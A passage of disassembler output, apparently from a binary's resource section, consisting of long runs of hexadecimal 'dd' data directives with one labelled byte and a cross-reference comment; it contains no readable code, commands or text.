		dd 22DB7333h, 5575264h,	0FE3ACB71h, 350BAADAh, 0C46E243Dh
		dd 32C8644Dh, 9EE3CAD0h, 51484693h, 0A83FC6BEh,	0CBA9C37Eh
		dd 5EF3D6EEh, 0A00C7A06h, 2FE5424Eh, 83FA923Eh,	2E9BFE1h
		dd 0CFD54423h, 0CD4C47CFh, 839DA9C6h, 0E15B9B2Eh, 0DD0D9359h
		dd 0DFD6E89Bh, 0BA0477F7h, 0A563C7EEh, 1360F3FEh, 2D77003h
		dd 0F8DAE72Fh, 874D9B4Bh, 0CE9A433Dh, 521EAFB5h, 0A64946D6h
		dd 96746A29h, 7BC02BECh, 7F752CC4h, 4208C2C3h, 0D200DF08h
		dd 9F1D9869h, 0E7C62D72h, 921E0864h, 8A154756h,	0DFEAECB1h
		dd 6A4D402Fh, 0AC0DB414h, 74B51FF5h, 19F65B42h,	0D5CFE58Ch
		dd 0E07BE482h, 10E7DEFDh, 4F4FFC06h, 9F769ACEh,	0E49ED6CFh
		dd 0B475A630h, 0C10AE92Eh, 0ED72D90h, 5615BF74h, 0B91E7548h
		dd 45D5DC91h, 0EA27C97Fh, 984379BEh, 64B7DFF1h,	8844C54Ch
		dd 92FA6680h, 0F4CA61Bh, 0B01A7EEDh, 0E697D86Ch, 44FCC45Fh
		dd 93BAF1DEh, 7398B900h, 4AA95971h, 80E7EE8Bh, 0FA030171h
		dd 0ED2FC292h, 617910EEh, 0DB63EC03h, 0D1DF503Bh, 72A5D142h
		dd 863D6932h, 5B905C9h,	0D7C697Ch, 0C1FB5891h, 9C37E49Dh
		dd 0AC4B5BDh, 1443364Ah, 49680F8Bh, 0CF27BDA9h,	1EB91745h
		dd 922C6105h, 0F2689881h, 37B44EF5h, 67651129h,	9541614h
		dd 201D4343h, 898392EFh, 0A675574Eh, 0EDADFFA5h, 0B158443Eh
		dd 96619EBAh, 108C84E7h, 0D5FA8572h, 27DFC339h,	44857D65h
		dd 90B265E7h, 901AC2EDh, 59AA0E25h, 0A05533E5h,	0BA804D8Eh
		dd 6A407FD5h, 0E8C8EE41h, 3166D8ACh, 0ABFC7E0Bh, 0BE861309h
		dd 50FD2AC5h, 52D9DD49h, 0E55E7953h, 0EDA9F535h, 0A49CE25Fh
		dd 0F16E0632h, 64401958h, 0A3D1037Ah, 1A8B732Ch, 0CDE88946h
		dd 0F71CBA8Fh, 92F257A4h, 0B31A503Dh, 320F99AAh, 94BD3BA1h
		dd 57FCFD3Ch, 0C31B3423h, 2339FE26h, 947FB345h,	8012D461h
		dd 0AAE943A3h, 71102B6Dh, 2760BA0Ch, 53EE1B80h,	4D977794h
		dd 7661EF4Dh, 5F182AAFh, 5E1EA031h, 949812ECh, 423936DCh
		dd 2CE842D4h, 0F343FF1Eh, 6564A4FBh, 0BECD41Ah,	5BAADC0h
		dd 0C248A2BBh, 5E05C2DDh, 71DF050Dh, 0F4B2A57Dh, 0B266FD6Ch
		dd 4BDB2750h, 2AF3255Fh, 9BD75E77h, 450988FFh, 0F7A2B3D3h
		dd 5382026h, 0FC140782h, 67831F7Fh, 64B9532Eh, 28A5A73h
		dd 0C4605603h, 67CCD0D6h, 7E65F697h, 1191798Ch,	7062829h
		dd 0CA2CA4B1h, 8D35CEF8h, 6B26AF76h, 3B8B34DEh,	0D0554A19h
		dd 0D864CEB3h, 0A2E6AD41h, 222CFE6Ah, 7A4165F6h, 0DC1329E8h
		dd 2013733Fh, 46769B19h, 16CA55A6h, 0A61EC07h, 2A9CFFh
		dd 83368B39h, 0FFC390B9h, 792084BAh, 10B7186Dh,	0A3A1EEBEh
		dd 0BFB35536h, 9A238DD9h, 98A1821Dh, 0F9A43651h, 3507AE59h
		dd 929E5815h, 91DB70Ah,	0A2501A93h, 1C686504h, 63FD11A5h
		dd 8AAE1A46h, 49E373B4h, 65EED8BBh, 0CC4BC200h,	3F54E57Bh
		dd 179FEFBCh, 4A17B020h, 699910AAh, 9BE65CCFh, 74A2957Eh
		dd 3520ABF4h, 5C839095h, 928407B9h, 3B30AA8Ch, 1B5A2896h
		dd 0DF71816Eh, 5A24BDF2h, 0A7D57B39h, 75F96F96h, 8D065872h
		dd 0A3606CD8h, 2B26DE7Bh, 4465F4DCh, 0A928A34Eh, 0AD28670Dh
		dd 1BB386C8h, 87B41228h, 3A55C0FAh, 1D4B334Ch, 0AC694637h
		dd 0CC7136D2h, 2C4822BEh, 20863C75h, 0EB0921DAh, 0F423F3A3h
		dd 2B5C5FC3h, 773206DCh, 0EEAD529Dh, 78000C7h, 0E5602F8Dh
		dd 0B676BE6Fh, 0DEC8475Eh, 0B08D6521h, 0ABA3F788h, 0B1D8D7D2h
		dd 399B4298h, 5F7FE785h, 688496A8h, 0C58D2040h,	0C5D369F0h
		dd 596F8BA8h, 0FBE44109h, 936171F3h, 496BCD0Ch,	2453B6B0h
		dd 0E4214807h, 0CB3C45A0h, 55049917h, 32F62571h, 41F7E042h
		dd 55CD4E62h, 5F26BA09h, 2D7D998Eh, 9CF0351h, 0C9B47283h
		dd 0C413CD93h, 5188C8A0h, 0DAB535ADh, 2E928082h, 600C4E09h
		dd 5C56839Dh, 9380357h,	18ECA3C5h, 0AEB83B1Ch, 8A95EC41h
		dd 636E217Fh, 2E074D33h, 5D782A58h, 1E661418h, 1F428BE5h
		dd 81C9C766h, 0C725399Dh, 0FEA4E283h, 9BFE45DFh, 38D108B1h
		dd 0AC80B8F7h, 752239BAh, 0FAA4AF2h, 632B9F3Eh,	0EDD05938h
		dd 51012713h, 0E4B492AFh, 94043Dh, 0D1D8DA42h, 3213E6DAh
		dd 0AAE59478h, 0D47198F8h, 0C8E4D270h, 7B282246h, 0CB710076h
		dd 0B2D58102h, 76C1D046h, 0E27A56A1h, 0B17D82FEh, 0AE516E62h
		dd 689F8E07h, 0C4DC5E2Fh, 4DD762F6h, 0F2AACF29h, 0C29739DDh
		dd 431B803Ah, 0EE358DA7h, 36CE34C9h, 2562FFA2h,	8CEF788Ch
		dd 0BE1C72E8h, 8B2849A7h, 1A993358h, 672AB7E3h,	1B099FBCh
		dd 3C880CDAh, 0FAF64D67h, 9F848276h, 0B8F68449h, 0F6B7B82Ah
		dd 5F284D38h, 4C7E8A67h, 0C0F89D74h, 0ADE97354h, 0AB838C84h
		dd 0BF0F56AAh, 0B3C87C2Eh, 99F9F64Dh, 0C943EF6Dh, 1F71A208h
		dd 0E369F9A0h, 0A42FF3D7h, 7ED51251h, 0A0DEF74Ah, 0D5FD7FE8h
		dd 6D7D4E39h, 0CABE5B49h, 7C172026h, 5DFE27B2h,	75DF58F2h
		dd 3D572374h, 62EE2116h, 5B3300E9h, 63BE73EAh, 58EF82E6h
		dd 3BA6D310h, 5AF8DD45h, 51C44F69h, 5E4A59BBh, 0BF16579h
		dd 31B504A8h, 85C2723Dh, 6D4FEE4h, 86AC3D7Ah, 0AE9337E5h
		dd 0F7C3BE3Eh, 229F8DEDh, 757E2CBh, 0AFF762B2h,	82FA9A35h
		dd 0AE88F2E2h, 3F800983h, 0E8822581h, 2F7BAC49h, 0D4824AFCh
		dd 0F4B3725Ch, 3854EBCAh, 0CBA80CACh, 0C4EE63A4h, 68A29A0Dh
		dd 2658CC6Ah, 97668DD3h, 2ADC9478h, 0E10A6BCh, 0DAAF6D8Eh
		dd 2012983Bh, 2EE0C8B8h, 0A8C17E75h, 70122A3Bh,	0BA787C1Dh
		dd 0DA0AAAEDh, 9BC1403Bh, 0BB509F70h, 488D4E32h, 52BEA637h
		dd 944C6F5Fh, 0FEEDC3D6h, 9B2D725h, 0DBD2AFB7h,	8B76E487h
		dd 0FD5E4D70h, 0D2CD9A36h, 1AB29AE7h, 414B2943h, 0B976A4F4h
		dd 0A33CC8C0h, 5326B996h, 5206D66Eh, 90937001h,	1CDC6A7Ah
		dd 4940A45h, 7C3431CEh,	0C89BDDDCh, 0C4C2C31Eh,	3C8E0017h
		dd 0D9D4A2B9h, 0FAFFC93h, 20990409h, 74D74C3Ch,	9A98F3E8h
		dd 0D99967E3h, 4F0B6C1Dh, 9D518EABh, 8BD8F41h, 0CC36CE87h
		dd 6507FF67h, 81BDCC60h, 0DD2C464Bh, 0E137DABh,	50BC8DB5h
		dd 5B3E6613h, 0EF0415F5h, 42F99EDFh, 281A246Dh,	21F01977h
		dd 3E1254B8h, 0CB2DA73Bh, 0F4FE369Eh, 0E5177DE0h, 0FBF63999h
		dd 49D8C7DFh, 1FF8B667h, 5D114919h, 8D55087h, 0E202FD0Dh
		dd 81F7AE65h, 23A75419h, 9CDB3305h, 0A3B50952h,	2C51BE05h
		dd 0F88BEE2Ch, 8BD30FDAh
		dd 0A4D29280h, 5B73214h, 0A90E11EBh, 7BEB490Bh,	510BE87Bh
		dd 0BCAC7D7h, 0CF02ADB8h, 0F71DFD05h, 0BE27489Fh, 387C1C2Eh
		dd 0B8E6A608h, 65C6D0A6h, 24D16901h, 3F483B55h,	5B0D69AFh
		dd 4DEFFA14h, 0BE8C52AFh, 1C08315h, 89D22BC5h, 4DA6CB21h
		dd 18B55E76h, 9C63EC38h, 6782AE79h, 36F15753h, 3FBA1D2Fh
		dd 0E4ED1DF4h, 0A88271BCh, 9D5ED0E2h, 7DCF4EB2h, 2BFF81DEh
		dd 1B073215h, 1720C0FCh, 0E8076D50h, 58672388h,	0B3886C8Ah
		dd 6D5042E1h, 9A8D060Dh, 55C20E39h, 0E418871Ah,	7888D113h
		dd 0EC2B0C98h, 0FC93C449h, 0C898E1C8h, 85076F42h, 0F4140D1Ch
		dd 9A0DC0ECh, 0E5DFA3C0h, 41A9D167h, 0D78F0D86h, 1D2A8F10h
		dd 8E6D44E0h, 0DED2A8A4h, 38550D55h, 0FA0A239Ah, 8957EA35h
		dd 3DA333CDh, 0B86B31Bh, 0FF9A9C1Ah, 0E46D36AEh, 7E454AA4h
		dd 52B1813Fh, 62081592h, 65B880D7h, 0CAED5CEAh,	0AF6D5AC3h
		dd 27716329h, 0D223C9B7h, 0AB5BB2F8h, 907A00ABh, 6DE11A84h
		dd 0E1ECF315h, 763D97E4h, 754129B1h, 505EBA4Ah,	0C33979D7h
		dd 0EC9749E0h, 0F65021CCh, 8D352A91h, 1AE91F6Ch, 2D8C09EDh
		dd 5925EB75h, 5B92D166h, 0AA2BD93Fh, 0BB87208Dh, 50E538D7h
		dd 5430E37Fh, 8263899h,	2DA82D29h, 83A7F4D9h, 3662369Ch
		dd 5C87112h, 0EBD5CB4Ah, 0E01D4874h, 0D70E93D9h, 3E8AE0EAh
		dd 0CDC0005h, 0F38ADEF9h, 14F63D9Fh, 230FDF4Eh,	82DAE250h
		dd 0DEC00696h, 5E9E8AE3h, 9326EE4Bh, 0D4DF0721h, 991EA3EAh
		dd 5254D55Ah, 55121000h, 1A334EB1h, 0D04FBDD8h,	8E88285Bh
		dd 9E08D82Dh, 0BFBDCAB0h, 689F666Dh, 8C18ACA0h,	0ACA186EBh
		dd 764056A3h, 44140C63h, 0D4DCE100h, 0CE03029Eh, 0E60702DFh
		dd 319D21E4h, 4473755Dh, 273D1A50h, 8651221Dh, 0C35A9369h
		dd 0C1183583h, 0CABD29h, 7199C476h, 4AABC8ACh, 1693DD73h
		dd 13EB0ED7h, 4A076DCEh, 870DF7F4h, 0E62F91EDh,	1ED0266Ah
		dd 55CD2596h, 0EE425836h, 0CAC3FF7Ch, 327C44D0h, 0E2CF8B7Ch
		dd 914D042Fh, 0F7870C8Eh, 41D37E13h, 0E8A375BEh, 0B4C714Eh
		dd 0FE2E1048h, 2B5B7391h, 0DB7C86h, 6E9BE0C1h, 1E140AF1h
		dd 6C625A84h, 2684A937h, 31931676h, 0DB1734B4h,	1907450Ch
		dd 8DAB86CAh, 0C3299B30h, 0DA501141h, 0F02F968Ah, 0DC4A6E3Fh
		dd 0A0C75E61h, 64DB2C33h, 0A8280E3Ah, 0BD92D8EFh, 618A47E3h
		dd 0FA1E8D81h, 0FEE1274h, 6A7910EDh, 0A1B561D5h, 987B8921h
		dd 76470FFEh, 0B8FC3F09h, 0DC47ABD9h, 46F23B8Bh, 0BFB1D021h
		dd 66F86FD0h, 446DF8A3h, 0FA3209AEh, 0E50DF427h, 0E514BF56h
		dd 0ECB04EAAh, 66BD0AC7h, 63E690C2h, 673D23C1h,	61BE5766h
		dd 4A922DFAh, 98A6CDDAh, 17FC8462h, 0A88AEEDAh,	54AB0AFCh
		dd 0F9FCCB17h, 0C9A7EDC7h, 0DD7F1030h, 514BB4D5h, 0DB9D07FBh
		dd 85097EB9h, 2F3EAAEAh, 0E06B7CC6h, 1317BC58h,	0C9A4FFC6h
		dd 642FC44Dh, 78E7D6D6h, 65EEF64Bh, 442E4351h, 0D8F57807h
		dd 43765BE2h, 0A2150CE3h, 0FF8DCF4Bh, 4B394136h, 36D684Bh
		dd 1A888D9Bh, 0FAFD96F2h, 7FC578C8h, 619BB9ECh,	997BA808h
		dd 83076B51h, 20B5F874h, 0A0A46F45h, 21235D3Ah,	8B328BF6h
		dd 82E3BF4h, 0F117D490h, 4629C642h, 0B1E73E94h,	8871C107h
		dd 999EE1E5h, 0C9E6D0D5h, 0ADC70477h, 3E7F3351h, 216089FCh
		dd 583E912Dh, 5A165A3Eh, 4DDAE327h, 418F1BD5h, 9C5C5Ch
		dd 9761CE2Ch, 0AD01FAB8h, 0EE108274h, 0DDC4D5CBh, 5B800521h
		dd 8AF1F50Dh, 142D0F70h, 3F777F5h, 65C883F0h, 0C7D99F5Bh
		dd 0B0620232h, 5826A411h, 0B9DFF7D2h, 786D8EF4h, 8BDCB7D5h
		dd 4219C185h, 0A2B7C9C1h, 0A399E7B8h, 9AF34A1Fh, 6A2C23CBh
		dd 3CDCD918h, 6A00C932h, 6097FC65h, 7D50A361h, 0C235AF5Dh
		dd 0CA66D389h, 0E7D895CEh, 0C7C92A8Dh, 7B201989h, 7175838Fh
		dd 7493B1CEh, 0C5E422B8h, 60256564h, 3E1A19B1h,	62CF4E67h
		dd 0ABEACDAh, 4999FC3Ch, 605B21A5h, 2EA29746h, 0C253044Ch
		dd 59A8CE9Ah, 16FCEEC4h, 47119281h, 6474845h, 0D616B6D0h
		dd 0ACF8DA80h, 0D1E69EABh, 0FC89AB1Eh, 1934EB0Dh, 79F7FAB3h
		dd 0C6C32DF0h, 30775A3Ah, 0D1E469B4h, 415C9B72h, 0E88ACBE1h
		dd 0BFB5D104h, 86D3A119h, 1D0B498Eh, 417C55FEh,	0B509B1DFh
		dd 1FA4CE49h, 0F985ABE1h, 2C6762FCh, 0A05DDBB4h, 0C06F7C20h
		dd 51BD8127h, 8850018Ch, 2E3D740Eh, 4E8D6138h, 0D903A527h
		dd 1EDD16D6h, 0C1881C21h, 0BF0B112h, 0F19A91D0h, 17CFDFA5h
		dd 0AF836E1Fh, 4EACEF0Bh, 5297D21Fh, 4C73D4D6h,	2FA5ED16h
		dd 0C99CA7E2h, 0E1E874B3h, 0C134BF1Ah, 174A2785h, 6E3168ADh
		dd 59F8B94Fh, 21A92755h, 0D50F1E57h, 0A023DAD6h, 356FE2EBh
		dd 4392A74Ch, 8A75661Fh, 0AF103785h, 0A37B5485h, 0CA28BD98h
		dd 6A1A4068h, 862F87C7h, 0BD1D5E59h, 444A5F03h,	0EAF7D9CCh
		dd 7AA687D6h, 0CEDB3E6Fh, 98D5A760h, 0D13D3135h, 72357CD4h
		dd 0BFA9BB59h, 59E1840Ch, 93D9FDCDh, 3B2C5D9h, 6276503Fh
		dd 5D7A751Eh, 988C98C0h, 0CA6DC58Dh, 0D8BB73EEh, 507FD8BFh
		dd 772F3774h, 0F6F900D5h, 0CC929FA4h, 0ACC161C5h, 6264227Dh
		dd 9835BF58h, 57B4F0D4h, 0A77A2914h, 655BFC20h,	0DF6D1291h
		dd 7E4BDE78h, 0B8F242C2h, 8DAF8E94h, 0E44328Eh,	0EE100A23h
		dd 35B770A8h, 14051880h, 0ADA5183Eh, 17384D23h,	99CAC2F2h
		dd 4F75DD8Ah, 9E0CFC37h, 36F41EC2h, 4741D017h, 0A1F79C6Eh
		dd 8A27A2DCh, 48578309h, 956E172Eh, 0CD52E7Fh, 97A8C079h
		dd 0DD0C4552h, 9AD4D32Dh, 46D30139h, 0B966E1C6h, 0CB87031Ch
		dd 2441102Fh, 0ABDBF3C7h, 7667E28Eh, 0A8737794h, 5B2E7109h
		dd 9B5E60E9h, 0E36EE6C7h, 94A3A046h, 28CD682Fh,	0BA159A07h
		dd 4E10A481h, 9ED21D5Bh, 5C360F71h, 0BD7383F4h,	67B2CE13h
		dd 0CA180C92h, 605EEDB8h, 6B70812h, 30E186ECh, 0FBF5297Bh
		dd 0B847BF2Ah, 210035FAh, 0F3F7CEDCh, 765FF6BAh, 0F7511BE0h
		dd 0B5F03DDBh, 2D422BBh, 0F355CF9Bh, 0A8C06775h, 759B55E3h
		dd 0EE39B6D3h, 0F9FB4CE3h, 0C3827730h, 169BC64Ch, 0AD37904Ch
		dd 0E092022Ch, 4C4E8D38h, 9A86148h, 0CDE9DCF6h,	0ED95C272h
		dd 0D4DCFEE1h, 0A7F1EABh, 7026AADBh, 8CF119CFh,	65A3C9BBh
		dd 0ED2151ACh, 0D6A7B410h, 64991C8Ch, 185FD3DFh, 4A3CA58Fh
		dd 20F4FAE6h, 0F1C519D5h, 0A7B33D14h, 0AEA57800h, 90D6743h
		dd 0A7A3E5BEh, 75C313AEh, 775A78A7h, 0E25E2B5Eh, 196C225Dh
		dd 11CA5DAAh, 93C3D172h, 0D306D9E6h, 1318C8D8h,	0B47BD044h
		dd 2C37E59Ch, 5DE31871h, 0C547C782h, 1D9C6E85h,	0FF6E6238h
		dd 0D33FAB1Eh, 0F00A4E4Ch, 0F7BC4DC5h, 0DFC30CDEh, 52629E09h
		dd 25CF5D78h, 0B03CDC1h, 843FF008h, 5D134F6Fh, 42000347h
		dd 2B6BA8F4h, 0EF9EC739h, 0BC538C7Ch, 558818FAh, 8AE1BA70h
		dd 0C1FD3AA2h, 7FD5B961h, 3AF6EE64h, 3E2928F0h,	0C9406C2Ch
		dd 70121623h, 0CA7B994Bh
		db 97h,	5Eh, 0A2h
byte_430003	db 1Ch			; DATA XREF: .rsrc:0040C088o
		dd 3B27BA80h, 1756AF37h, 381E5F6Fh, 894CBF0Ch, 65AAA808h
		dd 9E59D9F5h, 0B0523351h, 46B2493h, 0BC6D852Ch,	0AB7641B2h
		dd 5B89728Ch, 0CD652C96h, 0CC4C5E51h, 54A19CD1h, 0F14B2EB1h
		dd 5CE1684Ah, 91F0C31Bh, 2E4B64F5h, 0CB7475D9h,	210297A9h
		dd 822E6574h, 0A7463164h, 0A7512934h, 0C84DDECh, 2E2BAD71h
		dd 14F227E7h, 0BE7CDB14h, 0D3F0ED88h, 865AE071h, 0EFD2A637h
		dd 61FA630Ch, 0C6B573C4h, 5170583Dh, 87CB4B14h,	731E5502h
		dd 44F336B8h, 63D5DBA5h, 0C0F5DD1Bh, 287BA45Bh,	1FD18FECh
		dd 0B53B40D1h, 661B174h, 0C662EA8Eh, 0FCF99143h, 0AA5128E8h
		dd 8DB37FFEh, 75FEE6Ah,	1C165C4Ch, 4EAF3B36h, 5731B74Ch
		dd 1C1F244Fh, 9A79CED2h, 5B56EE5Eh, 1933CE58h, 9CB7579Dh
		dd 0AFD771C0h, 541F4B65h, 40B03073h, 0D9BC2D92h, 0A48B43DCh
		dd 5CB38DD6h, 4F887A4Fh, 0D9B39C3Bh, 0C840AA6Bh, 0FDC8A190h
		dd 0F7A7F690h, 0D8A08F8Dh, 4BA0C2D7h, 8487AD4Ah, 61ACED30h
		dd 29D31CBFh, 70FCC4C2h, 778CA40Dh, 0AA599FFh, 94A7671Dh
		dd 0C519C39Dh, 0AA49AAFEh, 4A5D817Ch, 42D03962h, 93338415h
		dd 4A382D34h, 25BA0181h, 86E95601h, 5CD96EA6h, 0D7C2160Ch
		dd 9C5E6109h, 76E6C099h, 16E98E6Ch, 0C8F6A73Eh,	3944C4E9h
		dd 0D14A19D1h, 75490B89h, 8CC4B054h, 575397C9h,	241761B7h
		dd 0B90D3518h, 0C6F7A97Ah, 0DDE1751Dh, 7DCA3EA1h, 36471C3h
		dd 2EF0D7AEh, 128E43F2h, 865DAAD3h, 9E5251h, 0E0C58205h
		dd 78614F4Bh, 0BD2CF38Ch, 0F6078A9h, 0B28B1D4Ah, 96D467D6h
		dd 5315E81Ch, 16316BB2h, 5C0E1EE6h, 0EE216A44h,	896E7341h
		dd 282C6FE5h, 43FC8ABFh, 44EBFAF1h, 0C3C58A41h,	8D3B8C34h
		dd 61F4B56Bh, 91782790h, 814D5916h, 0B5CB496Fh,	4ACA9310h
		dd 8031E4E4h, 179A2A05h, 0A42466CFh, 56958880h,	3BDA7A32h
		dd 0A79EE76Dh, 329EFFEEh, 0A025EB8Fh, 554E528Ah, 479A5C2Eh
		dd 0A7A79088h, 8ED89CD0h, 7346E5DFh, 0BC69AF00h, 0F421FC17h
		dd 283D4943h, 84A56107h, 330E8706h, 0CB06FE77h,	77D5D70Ch
		dd 0C2EDD04h, 84197482h, 5222252Bh, 2C9B4273h, 0FA8DF17h
		dd 3073471Eh, 269B7591h, 0A3F67096h, 2838AA28h,	7EC8D2A5h
		dd 63AE25ABh, 568B9A80h, 97450EB1h, 7ADA8484h, 2C207h
		dd 0CA081DC6h, 0D55E8916h, 4A322BAFh, 87461224h, 5895C14Ah
		dd 86DEE33h, 0B30C5D71h, 4F801879h, 4B7E932Ah, 0AD780FF3h
		dd 0E2BFF900h, 5CDEBEB1h, 0FDCCFCECh, 0EA9DF196h, 0B626550Eh
		dd 0E341DBF6h, 3F5B34B0h, 56E4C13Ah, 8913BBDDh,	0F0B4C51Fh
		dd 0F0AA6073h, 150E8283h, 658145A4h, 1C2B2389h,	0CB59A8B5h
		dd 0CCB71B50h, 0AE801815h, 0EB9BCE81h, 8744723Ah, 8494D18Dh
		dd 0F39E6A0Ch, 309ECA88h, 0F92864F9h, 0D044B27Eh, 765B31C5h
		dd 7EA7D5C0h, 185B1DEDh, 0EFEAECFFh, 78F09A72h,	6009A98Dh
		dd 9705B795h, 0BFA46408h, 0CEFC13F6h, 4E7AC239h, 400F9679h
		dd 0FD31C3Eh, 1BD64DA2h, 22EAC6BAh, 0D205E9E2h,	27D5EA8Bh
		dd 0E2342CB7h, 6ACAD918h, 93AF8CAFh, 0FBE6CABBh, 70F2335Dh
		dd 91D15DD7h, 2AF21911h, 0CD74B02h, 6C60F7ADh, 0FAF68C27h
		dd 360B937Ah, 0A56FB423h, 0D5A481DDh, 0C8424501h, 63C7D375h
		dd 5BE3AD24h, 4F59F29Eh, 58D52659h, 577B4D86h, 59F0CFE4h
		dd 0AAAA959Dh, 6B14AD98h, 0D502C52Fh, 0BE34A4D5h, 0EE78AAE6h
		dd 0E6FDEAEFh, 0A5DCD4F5h, 8A8FD9F4h, 0BA0F4820h, 0E545A664h
		dd 63793FDDh, 0BB8181D6h, 0F615B188h, 0FFEA889Ch, 3D5DF863h
		dd 5B61FCE3h, 10C17EDBh, 86B85080h, 174648A9h, 0CEE5F6D1h
		dd 27AACB1Bh, 7400F806h, 9849F223h, 3D24BD4Bh, 0FE7DFF0Dh
		dd 9D48CDD1h, 806B0C98h, 95CF1613h, 0C967AA4Ah,	7A06123Ah
		dd 0BAACC3FFh, 9820620Eh, 1630A45h, 0B1D75954h,	5D3C147Dh
		dd 75D0679Bh, 5C0ADF4Ch, 0C6282A5Dh, 93133FADh,	39D8B73Eh
		dd 2C46E20Dh, 0F1AA98D2h, 26EE971Ah, 0E0F31033h, 0B489D1B0h
		dd 0AB0B229Ah, 7D4F958Dh, 1DA1A20h, 0DD629242h,	974ABE54h
		dd 36D20514h, 0AA64A63Dh, 0C1E700B8h, 52091CCh,	0B6EAA7D3h
		dd 3854FA5h, 34898920h,	52907DF1h, 0B8AE625Ch, 0CF0CB060h
		dd 584BDA43h, 54B6B6Bh,	6AF310D7h, 5560AE95h, 0B60F27D9h
		dd 2C220766h, 9CB7EBAEh, 6948FA21h, 0DA24F15Ah,	8FD21D21h
		dd 31DC7568h, 0F1F0E473h, 97D323FAh, 0C665EA13h, 0C01FB210h
		dd 0EF43F3BFh, 0F3AD00F0h, 0E611525Ah, 0B135D27Ch, 0C80618F4h
		dd 0E88C7Dh, 9C1062D4h,	184C6410h, 64E02A2Bh, 0D6833FE5h
		dd 56A0042h, 3BA0E82Dh,	0B553B906h, 35A6C4E6h, 9E1FCD36h
		dd 14351928h, 0AF8916FCh, 0F3CAB9AAh, 0D73C2772h, 0AAD603DBh
		dd 58A70470h, 0ABEBA107h, 0AB5A1043h, 745FE0D4h, 0E8DA6040h
		dd 3F719503h, 3892C6EFh, 38737D6Ah, 19272F56h, 0A161F468h
		dd 7AB72C2Dh, 2D4EF5C0h, 36BA4A2Ah, 29B8BBC4h, 4D07FCE3h
		dd 50A7CB88h, 0C18DCF20h, 4B910D4Fh, 6B17BA1Dh,	92DA5D2Dh
		dd 16E13A3Dh, 1B8DB719h, 0CD3114B7h, 665833A1h,	0D7AC9D7Ch
		dd 0BB81EB09h, 0F2C0B01Ah, 1857DC2h, 376247h, 300E221h
		dd 9C46BDB0h, 0AD3B86EDh, 749EA56Ah, 0E6CB0D79h, 3B1DE4F8h
		dd 1F549923h, 64838F5h,	93D24DDCh, 548AF8CFh, 7181A6EBh
		dd 0DB6459FDh, 9F1D294h, 0ACD36E01h, 0F03F014Fh, 3BBF0256h
		dd 0EEF7B892h, 90CEDEC1h, 0BF2446EEh, 1701532Ch, 9B2AFAD6h
		dd 823CA91Bh, 7B7B6DC1h, 0C3206D66h, 0E924E9B5h, 71A9EFE7h
		dd 55C5E31Eh, 0B30554B4h, 9BCB0E51h, 6210B580h,	0D7B4B989h
		dd 7827ECDh, 0EE643AEDh, 32BCD7B3h, 0D1DADD4h, 21E3806Ch
		dd 96D80FB8h, 98A9E75Fh, 858ADDEh, 69C4958h, 6092096Ah
		dd 0B43DE8E1h, 366259BAh, 43993046h, 0A256E80Dh, 96B9EB8Dh
		dd 0B4825128h, 4AEC2464h, 3D52F96h, 577E47D7h, 0D920998Ch
		dd 760A7E72h, 19388305h, 0EFF336CAh, 0BD786248h, 0FB7EACE3h
		dd 9DC74E32h, 0FB5B2667h, 7518FCCFh, 9B92CA30h,	9449AA20h
		dd 0DF3B13DCh, 692A8D81h, 25D1E96Ch, 9A6FEE6Eh,	1CCB9DEDh
		dd 0E31601B2h, 0FA41E919h, 86782C30h, 9E15EBC9h, 4D2A60C7h
		dd 6A8F8E50h, 43BDA5F5h, 176F08E6h, 7E94FC61h, 0DFD5ABA2h
		dd 4A62A618h, 0E4B496D9h, 98A60D23h, 5FCE0922h,	32BF8101h
		dd 937CFBE4h, 0A3C5452h, 0B636DAh, 938FF462h, 9A3CA0AEh
		dd 0F9A0C194h, 0B043CC85h, 74C0077Bh, 0E4BE7952h, 0EF473B4Fh
		dd 0FD642442h, 0A545C87Ch, 0C6B5F6C8h, 1BB5C7AAh, 792F8015h
		dd 1610873Eh, 7CDBD701h, 94CD22C3h, 0FA504F7Eh,	0B45F5532h
		dd 9F9D82C7h, 3714AD79h, 0D4DBCD87h, 0C1A54147h, 63DEBB56h
		dd 9A099C1Ah, 8B035023h, 5CBC655Ah, 0DA2F6AB5h,	756487D0h
		dd 0CCC3FFE9h, 721AB119h, 0F5581038h, 7ACC7C12h, 8D65D9FFh
		dd 0E0AF5608h, 8C91431h, 0BD4224CDh, 0A750866h,	408EBEDCh
		dd 0FDAC872Ch, 1BCA0DB4h, 0E0ED48EEh, 8F05284Ah, 8F1180Dh
		dd 0ED7467D4h, 9F0A9146h, 0D5E44259h, 77419080h, 0D7BB7A47h
		dd 9AE24327h, 2D18F49h,	892FB80Ah, 45AEA86Ch, 0E79C9FFh
		dd 0A316AC48h, 0F2823F77h, 20999D49h, 0EA1D2349h, 0FD098D9Bh
		dd 0A528B413h, 887720BCh, 883E0876h, 600BAF26h,	206C5864h
		dd 3C7A7FEFh, 1DAE345h,	8D5D0000h, 0AEF9BDF0h, 0A4CF87AEh
		dd 734B7F51h, 0BB77D1DFh, 1AA4BFCh, 5AC71495h, 0F4487A43h
		dd 137AAB18h, 797930Eh
		dd 0CA423A86h, 32567301h, 0ED1E16DAh, 0B31A34EFh, 14A54CC8h
		dd 27C61871h, 1B2043ECh, 1DF0DCA5h, 0A3F2C733h,	9F399A83h
		dd 494C40D6h, 0F1074B73h, 67B7735Bh, 8040014Fh,	323238EAh
		dd 413FD9AAh, 0AEA9E1B4h, 487BC6B2h, 8248DBB3h,	855439C1h
		dd 89A657B5h, 0B5967E93h, 8AF8F5A8h, 0D0C1C5E5h, 6E070586h
		dd 5881C30Bh, 0B6AF70C7h, 5C8385F6h, 0FB56B5B6h, 33D24200h
		dd 0CD428D37h, 0FA51982Eh, 60C50CB2h, 0D9A43747h, 4B959ED8h
		dd 0CCCADAE5h, 0F95DA00Eh, 41F49D7Eh, 0AF8B36C6h, 0A229908Ah
		dd 91F90C9Ah, 0BE89C076h, 12963B4h, 0ABFC5A7Fh,	4BCF13DBh
		dd 302A0D6Eh, 95370432h, 7936028Fh, 6278254Ch, 898894FCh
		dd 3328F4AFh, 0A59600FAh, 7FD473CDh, 2DF9870Eh,	8621A917h
		dd 93E6C53Ah, 0FF281D1Ch, 0F5BEE1E5h, 0ABBD310Ah, 286672A3h
		dd 0D001B187h, 3B9CB418h, 0F83A00AEh, 15495739h, 0E7ECE03Ah
		dd 4ACAA856h, 285C54B4h, 810A894Bh, 9E4065F5h, 433FA2FFh
		dd 95E2E31Ah, 376B5A04h, 0A5180BC7h, 0DE6CB0F8h, 396EA45Dh
		dd 0ED659431h, 0F1AFF0BCh, 43605D53h, 0B20D9750h, 0B64DD83Eh
